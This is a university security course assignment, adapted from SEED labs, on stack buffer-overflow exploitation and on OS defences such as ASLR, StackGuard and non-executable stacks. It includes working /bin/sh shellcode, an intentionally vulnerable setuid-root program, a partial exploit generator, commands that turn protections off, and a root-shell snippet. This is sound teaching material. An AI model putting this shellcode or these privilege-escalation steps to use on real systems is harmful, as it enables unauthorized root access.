UNIVERSITY OF MARYLAND
DEPARTMENT OF ELECTRICAL AND COMPUTER ENGINEERING

ENEE 457/CMSC 498E
Computer Systems Security
Instructor: Dana Dachman-Soled

Programming Project 2: Buffer Overflow

Out: 09/06/17 Due: 09/25/17 10:59am

Instructions

1. Strictly adhere to the University of Maryland Code of Academic Integrity.
2. Submit the source code as a .zip file containing the .c code, as well as a writeup explaining what you did as a pdf document at Canvas. Include your full name in the writeup. Name the .zip file as x-project2.zip and the writeup as x-project2.pdf, where x is your first and last name. For example, if your name is "Jane Doe," you should be handing in two files named "JaneDoe-project2.zip" and "JaneDoe-project2.pdf."

Adjusted from SEED labs `http://www.cis.syr.edu/~wedu/seed/`

1 Overview

In this lab, students will be given a program with a buffer-overflow vulnerability; their task is to develop a scheme to exploit the vulnerability and finally gain the root privilege. In addition to the attacks, students will be guided to walk through several protection schemes that have been implemented in the operating system to counter against the buffer-overflow attacks. Students need to evaluate whether the schemes work or not and explain why.

2 Lab Tasks

2.1 Initial setup

You can execute the lab tasks using our pre-built `Ubuntu` virtual machines. `Ubuntu` and other Linux distributions have implemented several security mechanisms to make the buffer-overflow attack difficult. To simply our attacks, we need to disable them first.

Address Space Randomization. `Ubuntu` and several other Linux-based systems uses address space randomization to randomize the starting address of heap and stack. This makes guessing the exact addresses difficult; guessing addresses is one of the critical steps of buffer-overflow attacks. In this lab, we disable these features using the following commands:

```
$ su root
  Password: (enter root password)
#sysctl -w kernel.randomize_va_space=0
```

The StackGuard Protection Scheme. The GCC compiler implements a security mechanism called "Stack Guard" to prevent buffer overflows. In the presence of this protection, buffer overflow will not work. You can disable this protection if you compile the program using the *-fno-stack-protector* switch. For example, to compile a program example.c with Stack Guard disabled, you may use the following command:

```
  $ gcc -fno-stack-protector example.c
```

Non-Executable Stack. `Ubuntu` used to allow executable stacks, but this has now changed: the binary images of programs (and shared libraries) must declare whether they require executable stacks or not, i.e., they need to mark a field in the program header. Kernel or dynamic linker uses this marking to decide whether to make the stack of this running program executable or non-executable. This marking is done automatically by the recent versions of `gcc`, and by default, the stack is set to be non-executable. To change that, use the following option when compiling programs:

```
  For executable stack:
  $ gcc -z execstack  -o test test.c

  For non-executable stack:
  $ gcc -z noexecstack  -o test test.c
```

2.2 Shellcode

Before you start the attack, you need a shellcode. A shellcode is the code to launch a shell. It has to be loaded into the memory so that we can force the vulnerable program to jump to it. Consider the following program:

```
#include <stdio.h>

int main( ) {
   char *name[2];

   name[0] = ``/bin/sh'';
   name[1] = NULL;
   execve(name[0], name, NULL);
}
```

The shellcode that we use is just the assembly version of the above program. The following program shows you how to launch a shell by executing a shellcode stored in a buffer. Please compile and run the following code, and see whether a shell is invoked.

```
/* call_shellcode.c  */

/*A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

const char code[] =
  "\x31\xc0"         /* Line 1:  xorl    %eax,%eax              */
  "\x50"              /* Line 2:  pushl   %eax                       */
  "\x68""//sh"        /* Line 3:  pushl   $0x68732f2f                */
  "\x68""/bin"        /* Line 4:  pushl   $0x6e69622f                */
  "\x89\xe3"          /* Line 5:  movl    %esp,%ebx                  */
  "\x50"              /* Line 6:  pushl   %eax                       */
  "\x53"              /* Line 7:  pushl   %ebx                       */
  "\x89\xe1"          /* Line 8:  movl    %esp,%ecx                  */
  "\x99"              /* Line 9:  cdq                                */
  "\xb0\x0b"          /* Line 10: movb    $0x0b,%al                  */
  "\xcd\x80"          /* Line 11: int     $0x80                      */
;

int main(int argc, char **argv)
{
   char buf[sizeof(code)];
   strcpy(buf, code);
   ((void(*)( ))buf)( );
}
```

Please use the following command to compile the code (don't forget the `execstack` option):

```
$ gcc -z execstack -o call_shellcode call_shellcode.c
```

A few places in this shellcode are worth mentioning. First, the third instruction pushes "//sh", rather than "/sh" into the stack. This is because we need a 32-bit number here, and "/sh" has only 24 bits. Fortunately, "//" is equivalent to "/", so we can get away with a double slash symbol. Second, before calling the `execve()` system call, we need to store `name[0]` (the address of the string), `name` (the address of the array), and `NULL` to the `%ebx`, `%ecx`, and `%edx` registers, respectively. Line 5 stores `name[0]` to `%ebx`; Line 8 stores `name` to `%ecx`; Line 9 sets `%edx` to zero. There are other ways to set `%edx` to zero (e.g., `xorl %edx, %edx`); the one (`cdq`) used here is simply a shorter instruction: it copies the sign (bit 31) of the value in the EAX register (which is 0 at this point) into every bit position in the EDX register, basically setting `%edx` to 0. Third, the system call `execve()` is called when we set `%al` to 11, and execute "`int $0x80`".

3 Task 0: Winning the Lottery

To get things started, consider the following simple program (provided in the start-up files as `lottery.c`):

```
/* lottery.c */

/* This program runs a simple little "lottery" */
/* Your task is to win it with 100% probability */

#include <stdio.h>    /* for printf() */
#include <stdlib.h>   /* for rand() and srand() */
#include <sys/time.h> /* for gettimeofday() */

int your_fcn()
{
    /* Provide three different versions of this, */
    /*  that each win the "lottery" in main().   */
}

int main()
{
    struct timeval tv;    /* Seed the random number generator */
    gettimeofday(&tv, NULL);
    srand(tv.tv_usec);

    const char *sad = ":(";
    const char *happy = ":)";
    int rv;
    rv = your_fcn();

    /* Lottery time */
    if(rv != rand())
        printf("You lose %s\n, sad");
    else
        printf("You win! %s\n", happy);

    return EXIT_SUCCESS;
}
```

This program runs a simple "lottery" by picking a random integer uniformly at random using `rand()`. It draws your number by calling `your_fcn()`, a function that you have complete control over. Your task is to write not one but *three* different versions of the function that each win the lottery every time. As a slight hint, note that the only way that we determine whether or not you win is if the program prints ``` ``You win!'' ``` (followed by a newline) at the end. **You are allowed to change anything except the main function.**

We will be compiling your program with address space randomization and stack protection turned *off* (Section 2.1).

Caveats. While you are allowed to set the body of `your_fcn()` as you wish, you are not allowed to modify `main()` itself. Also, this task permits an exception to the syllabus: hardcoding is allowed, if you think it will help you win! You do not *have* to use a buffer overflow as one of your three solutions, but it is certainly one way to go! For full credit, solutions must be materially different, not just slight variations on a theme. The course staff has final say over whether or not two solutions are materially different.

Submitting. Create three copies of the lottery: `lottery1.c`, `lottery2.c`, and `lottery3.c`, each of which has a different implementation of `your_fcn()`. (There are general submission instructions in Section 4.)

3.1 The Vulnerable Program

```
/* stack.c */

/* This program has a buffer overflow vulnerability. */
```

```
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int bof(char *str)
{
    char buffer[24];

    /* The following statement has a buffer overflow problem */
    strcpy(buffer, str);

    return 1;
}

int main(int argc, char **argv)
{
    char str[517];
    FILE *badfile;

    badfile = fopen("badfile", "r");
    fread(str, sizeof(char), 517, badfile);
    bof(str);
    printf("Returned Properly\n");
    return 1;
}
```

Compile the above vulnerable program and make it set-root-uid. You can achieve this by compiling it in the `root` account, and `chmod` the executable to `4755` (don't forget to include the `execstack` and `-fno-stack-protector` options to turn off the non-executable stack and StackGuard protections):

```
$ su root
  Password (enter root password)
# gcc -o stack -z execstack -fno-stack-protector stack.c
# chmod 4755 stack
# exit
```

The above program has a buffer overflow vulnerability. It first reads an input from a file called "badfile", and then passes this input to another buffer in the function `bof()`. The original input can have a maximum length of 517 bytes, but the buffer in `bof()` has only 12 bytes long. Because `strcpy()` does not check boundaries, buffer overflow will occur. Since this program is a set-root-uid program, if a normal user can exploit this buffer overflow vulnerability, the normal user might be able to get a root shell. It should be noted that the program gets its input from a file called "badfile". This file is under users' control. Now, our objective is to create the contents for "badfile", such that when the vulnerable program copies the contents into its buffer, a root shell can be spawned.

3.2 Task 1: Exploiting the Vulnerability

Make sure that your attack is working properly when you save/run all files in the directory `~/Documents/BufferOverflow/` on your virtual machine. Also, just because your attack works inside GDB does not mean that it will work when the executable file is run outside of GDB. We will be testing your code by running it outside GDB in the directory `~/Documents/BufferOverflow/`. So make sure that your code works properly in that environment.

We provide you with a partially completed exploit code called "exploit.c". The goal of this code is to construct contents for "badfile". In this code, the shellcode is given to you. You need to develop the rest.

```
/* exploit.c  */

/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[]=
    "\x31\xc0"             /* xorl    %eax,%eax              */
    "\x50"                 /* pushl   %eax                   */
    "\x68""//sh"           /* pushl   $0x68732f2f            */
    "\x68""/bin"           /* pushl   $0x6e69622f            */
    "\x89\xe3"             /* movl    %esp,%ebx              */
    "\x50"                 /* pushl   %eax                   */
    "\x53"                 /* pushl   %ebx                   */
    "\x89\xe1"             /* movl    %esp,%ecx              */
    "\x99"                 /* cdq                            */
    "\xb0\x0b"             /* movb    $0x0b,%al              */
    "\xcd\x80"             /* int     $0x80                  */
;

void main(int argc, char **argv)
{
    char buffer[517];
    FILE *badfile;

    /* Initialize buffer with 0x90 (NOP instruction) */
    memset(&buffer, 0x90, 517);

    /* You need to fill the buffer with appropriate contents here */

    /* Save the contents to the file "badfile" */
    badfile = fopen("./badfile", "w");
    fwrite(buffer, 517, 1, badfile);
    fclose(badfile);
}
```

After you finish the above program, compile and run it. This will generate the contents for "badfile". Then run the vulnerable program `stack`. If your exploit is implemented correctly, you should be able to get a root shell:

Important: Please compile your vulnerable program first. Please note that the program exploit.c, which generates the bad file, can be compiled with the default Stack Guard protection enabled. This is because we are not going to overflow the buffer in this program. We will be overflowing the buffer in stack.c, which is compiled with the Stack Guard protection disabled.

```
$ gcc -o exploit exploit.c
$./exploit        // create the badfile
$./stack          // launch the attack by running the vulnerable program
# <---- Bingo! You've got a root shell!
```

It should be noted that although you have obtained the "#" prompt, your real user id is still yourself (the effective user id is now root). You can check this by typing the following:

```
# id
uid=(500) euid=0(root)
```

Many commands will behave differently if they are executed as `Set-UID root` processes, instead of just as `root` processes, because they recognize that the real user id is not `root`. To solve this problem, you can run the following program to turn the real user id to `root`. This way, you will have a real `root` process, which is more powerful.

```
void main()
{
  setuid(0);  system("/bin/sh");
}
```

3.3 Task 2: Address Randomization

Now, we turn on the Ubuntu's address randomization. We run the same attack developed in Task 1. Can you get a shell? If not, what is the problem? How does the address randomization make your attacks difficult? You should describe your observation and explanation in your lab report. You can use the following instructions to turn on the address randomization:

```
$ su root
  Password: (enter root password)
# /sbin/sysctl -w kernel.randomize_va_space=2
```

If running the vulnerable code once does not get you the root shell, how about running it for many times? You can run `./stack` in the following loop , and see what will happen. If your exploit program is designed properly, you should be able to get the root shell after a while. You can modify your exploit program to increase the probability of success (i.e., reduce the time that you have to wait).

```
$ sh -c "while [ 1 ]; do ./stack; done;"
```

3.4 Task 3: Stack Guard

Before working on this task, remember to turn off the address randomization first, or you will not know which protection helps achieve the protection.

In our previous tasks, we disabled the "Stack Guard" protection mechanism in GCC when compiling the programs. In this task, you may consider repeating task 1 in the presence of Stack Guard. To do that, you should compile the program without the *-fno-stack-protector'* option. For this task, you will recompile the vulnerable program, stack.c, to use GCC's Stack Guard, execute task 1 again, and report your observations. You may report any error messages you observe.

In the GCC 4.3.3 and newer versions, Stack Guard is enabled by default. Therefore, you have to disable Stack Guard using the switch mentioned before. In earlier versions, it was disabled by default. If you use a older GCC version, you may not have to disable Stack Guard.

3.5 Task 4: Non-executable Stack

Before working on this task, remember to turn off the address randomization first, or you will not know which protection helps achieve the protection.

In our previous tasks, we intentionally make stacks executable. In this task, we recompile our vulnerable program using the `noexecstack` option, and repeat the attack in Task 1. Can you get a shell? If not, what is the problem? How does this protection scheme make your attacks difficult. You should describe your observation and explanation in your lab report. You can use the following instructions to turn on the non-executable stack protection.

```
# gcc -o stack -fno-stack-protector -z noexecstack stack.c
```

It should be noted that non-executable stack only makes it impossible to run shellcode on the stack, but it does not prevent buffer-overflow attacks, because there are other ways to run malicious code after exploiting a buffer-overflow vulnerability. The *return-to-libc* attack is an example. We have designed a seperate lab for that attack. If you are interested, please see our Return-to-Libc Attack Lab for details.

If you are using our Ubuntu 12.04 VM, whether the non-executable stack protection works or not depends on the CPU and the setting of your virtual machine, because this protection depends on the hardware feature that is provided by CPU. If you find that the non-executable stack protection does not work, check our document ("Notes on Non-Executable Stack") that is linked to the lab's web page, and see whether the instruction in the document can help solve your problem. If not, then you may need to figure out the problem yourself.

4 Submission

Students need to submit the source code as a .zip file containing the .c code, as well as a writeup explaining what you did as a pdf document at Canvas. Include your full name in the writeup. Name the .zip file as x-project2.zip and the writeup as x-project2.pdf, where x is your first and last name. For example, if your name is "Jane Doe," you should be handing in two files named "JaneDoe-project2.zip" and "JaneDoe-project2.pdf."